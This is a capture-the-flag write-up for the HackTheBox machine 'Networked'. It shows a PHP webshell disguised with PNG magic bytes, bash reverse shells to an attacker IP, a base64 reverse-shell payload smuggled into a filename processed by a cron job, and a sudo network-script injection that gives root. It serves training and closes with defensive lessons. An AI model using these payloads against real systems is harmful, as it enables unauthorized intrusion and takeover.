Networked - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Networked is an easy-difficulty Linux machine that showcases critical vulnerabilities in file upload validation and command injection. The initial foothold is obtained through a file upload bypass exploiting improper MIME type checking—allowing arbitrary PHP execution by prepending PNG magic bytes. Lateral movement is achieved by exploiting command injection in a cron-executed PHP script that inadequately sanitizes filenames. Finally, privilege escalation is accomplished through a misconfigured network configuration script vulnerable to command injection via network attribute parameters.

TL;DR: Upload PHP shell with PNG magic bytes → Command injection in check_attack.php via filename → Exploit changename.sh network config script for root access.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.146

Results:

Service Enumeration

Port 80 (HTTP): Browsing to the root shows a basic web interface. Enumeration reveals three key endpoints:

• upload.php - File upload functionality
• photos.php - Gallery displaying uploaded images
• backup/ - Contains source code archive

Directory Discovery (Gobuster):

gobuster dir -u http://10.10.10.146 -w /usr/share/wordlists/dirbuster/common.txt

Key findings:

• /upload.php - Upload interface
• /photos.php - Image gallery
• /backup/ - Contains backup.tar with full source code

Vulnerability Assessment

1. File Upload Bypass - MIME type validation can be bypassed with magic bytes
2. Command Injection in check_attack.php - Unsanitized filename in exec() call
3. Network Script Command Injection - changename.sh vulnerable to space-based command injection in network config attributes

Initial Foothold

Exploitation Path

Step 1: Download and analyze backup source code

cd /tmp
wget http://10.10.10.146/backup/backup.tar
tar -xf backup.tar
cat lib.php

The check_file_type() function uses mime_content_type() which checks magic bytes:

function check_file_type($file) {
    $mime_type = file_mime_type($file);
    if (strpos($mime_type, 'image/') === 0) {
        return true;
    } else {
        return false;
    }
}

Step 2: Craft PHP shell with PNG magic bytes

PNG magic bytes are: 89 50 4E 47 0D 0A 1A 0A

# Create PHP webshell
printf '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A' > shell.png
echo '<?php system($_REQUEST["cmd"]); ?>' >> shell.png

Step 3: Upload the shell

curl -F "myFile=@shell.png" http://10.10.10.146/upload.php

The file is accepted because:

• MIME type check passes (PNG magic bytes detected)
• File extension .png is in the whitelist

Step 4: Locate and execute the shell

Browse to photos.php to find the uploaded file. Right-click → “View Image” to access it directly. The uploaded file is renamed to the IP address format (e.g., 10_10_10_X.png).

# Execute command through the shell
curl "http://10.10.10.146/uploads/10_10_14_X.png?cmd=id"

Step 5: Gain reverse shell

# On attacker machine
nc -lvnp 4444

# Via web shell (base64 encoded bash reverse shell)
curl "http://10.10.10.146/uploads/10_10_14_X.png?cmd=bash%20-i%20%3E%26%20/dev/tcp/10.10.14.X/4444%200%3E%261"

Now we have a shell as www-data (apache user).

Privilege Escalation

Lateral Movement: www-data → guly

Step 1: Enumerate home directories

ls -la /home/
ls -la /home/guly/

Discover two files:

• check_attack.php - Runs every 3 minutes via cron
• crontab.guly - Cron schedule

Step 2: Analyze check_attack.php

<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg = '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
    if ($value == 'index.html') {
        continue;
    }
    list ($name,$ext) = getnameCheck($value);
    $check = check_ip($name,$value);

    if (!($check[0])) {
        exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
        mail($to, $msg, $msg, $headers, "-F$value");
    }
}
?>

Vulnerability: The $value variable (filename) is directly interpolated into the exec() call without sanitization. Command injection is possible through filename crafting.

Step 3: Exploit command injection via filename

Create a file with a command injection payload:

# Create a file that injects a command when processed
# The exec will look like: nohup /bin/rm -f /var/www/html/uploads/; COMMAND;...
# Use base64 to avoid special characters

# Generate reverse shell payload (base64)
echo 'bash -i >& /dev/tcp/10.10.14.X/5555 0>&1' | base64
# Output: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC5YLzU1NTUgMD4mMQo=

# Create malicious filename with command injection
touch '/var/www/html/uploads/; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC5YLzU1NTUgMD4mMQo= | base64 -d | bash;'

Step 4: Wait for cron execution

The script runs every 3 minutes. When it processes the malicious filename, the injected command executes as the guly user.

# On attacker machine, listen for incoming connection
nc -lvnp 5555

After 3 minutes, you receive a reverse shell as guly.

Privilege Escalation: guly → root

Step 1: Check sudo privileges

sudo -l

Output shows:

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

Step 2: Analyze changename.sh

#!/bin/bash -p

cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
    echo "interface $var:"
    read x
    while [[ ! $x =~ $regexp ]]; do
        echo "wrong input, try again"
        echo "interface $var:"
        read x
    done
    echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0

Vulnerability: The script creates a network configuration file sourced by the system. Network scripts are vulnerable to command injection through attribute values because they are sourced as bash scripts. Spaces in values can break out of variable assignments.

Step 3: Exploit network config injection

# Run the script as root
sudo /usr/local/sbin/changename.sh

# When prompted for input, inject commands
# At each prompt, enter: test VALUE_HERE
# For example, at the NAME prompt:

# Input for NAME:
test /bin/bash
# This creates: NAME=test /bin/bash
# Which is sourced as: bash

# At other prompts, just enter benign values or use the injection at NAME

When the network configuration file is sourced by /sbin/ifup, the space in NAME=test /bin/bash causes /bin/bash to be executed as root.

Step 4: Root shell obtained

whoami
# root
cat /root/root.txt

Attack Chain Summary

www-data (via upload bypass)
    ↓
    [PHP shell + PNG magic bytes]
    ↓
guly (via check_attack.php command injection)
    ↓
    [Malicious filename in cron task]
    ↓
root (via changename.sh network script injection)
    ↓
    [Space-based command injection in network config]
    ↓
OWNED

Tools Used

Key Learnings

Techniques Practiced

• Magic byte manipulation for MIME type bypass
• File upload validation weaknesses
• Command injection through unsanitized filenames
• Cron-based privilege escalation
• Network configuration script injection
• Sudo privilege exploitation

Lessons Learned

1. Input validation is critical - Filenames must be sanitized before use in system commands, especially in cron jobs running with elevated privileges.

2. Magic bytes alone are insufficient - While MIME type checking based on magic bytes is better than extension-only validation, it should be paired with additional security measures.

3. Network scripts are powerful targets - System-sourced network configuration files can be leveraged for code execution due to bash interpretation.

4. Cron tasks need hardening - Scripts executed periodically should implement strict input validation and avoid direct command interpolation.

5. Regex validation can be bypassed - The regexp in changename.sh allows spaces, which are dangerous in sourced scripts.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>